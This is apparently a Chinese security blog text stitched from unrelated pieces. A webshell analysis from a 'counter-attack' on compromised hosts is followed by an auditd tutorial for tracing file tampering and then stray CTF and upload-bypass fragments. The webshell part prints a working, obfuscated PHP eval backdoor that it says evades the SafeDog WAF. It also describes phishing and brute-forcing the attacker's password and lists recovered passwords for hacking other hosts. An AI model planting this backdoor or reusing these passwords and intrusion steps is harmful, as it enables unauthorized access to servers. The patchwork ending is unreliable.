对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析，发现⼤部分肉鸡的网站根目录都存在 images.php，提取该文件的内容并分析：
提出较为重要的那一段base64decode后的PHP代码进行分析：
@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));代码逻辑：判断POST请求参数code是否有值，当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']，这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密，最后从加密后的字符串的第36位开始取值（sha1加密后的值为40位，这里也就是取后4位），当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code']（Why？&&是逻辑与操作，如果&&的前面为false了，后面的就不会执行了，所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件），最后进入该代码执行：if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));，代码如此简单就不再重复描述～
为了满足条件（substr(sha1(md5($_POST['a'])),36)=='222f'），我们可以采用钓鱼的方式等攻击方人员主动上钩（修改images.php即可）：
当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。
但此方法较为被动，我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文：
获得了：abc123000、lipeng520、160376这三个密码，可利用密码对其他的肉鸡再次进行反打。
代码样本：（测试可过安全狗）
<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>难题：/home/chen/test/目录下的index.html为首页文件，一直被入侵者恶意篡改
需求：想要定位攻击方式以及篡改方式
命令：auditctl （安装：sudo apt install auditd）
参数：
-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词（用于查询监控日志）运行：sudo auditctl -w /home/chen/test/index.html -p w -k index，等待二次篡改
过程发现被篡改执行：sudo ausearch -i -k index 查看日志
type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index了解该日志的格式：
syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径这里的syscall可以理解为是执行的动作，那么这段日志就非常容易理解了：用户chen使用gedit rename了该文件（重命名）
那么syscall是什么代表着编辑文件内容呢？（篡改）
测试gedit打开文件、编辑文件内容、保存文件，有三条日志：
type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=indexsyscall分别为：openat、openat、rename，但注意到第一个openat的日志中的success等于no
也就是说我们可以理解日志中出现syscall=openat即有人在修改文件，那么查看日志的命令就可以变成：
sudo ausearch -i -k index | grep 'syscall=openat'
END：定位到了用户、进程就可以继续跟踪了。
.user.ini 上传绕过，GIF89a 绕过图片检测。
可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6
easyphp Brief desc打开页面，已经给出了源
补了很久之前的一个坑，写的很水（大佬不用浪费时间看这篇了
原来还是在某年的 xman 题目中见到的 weevely 后门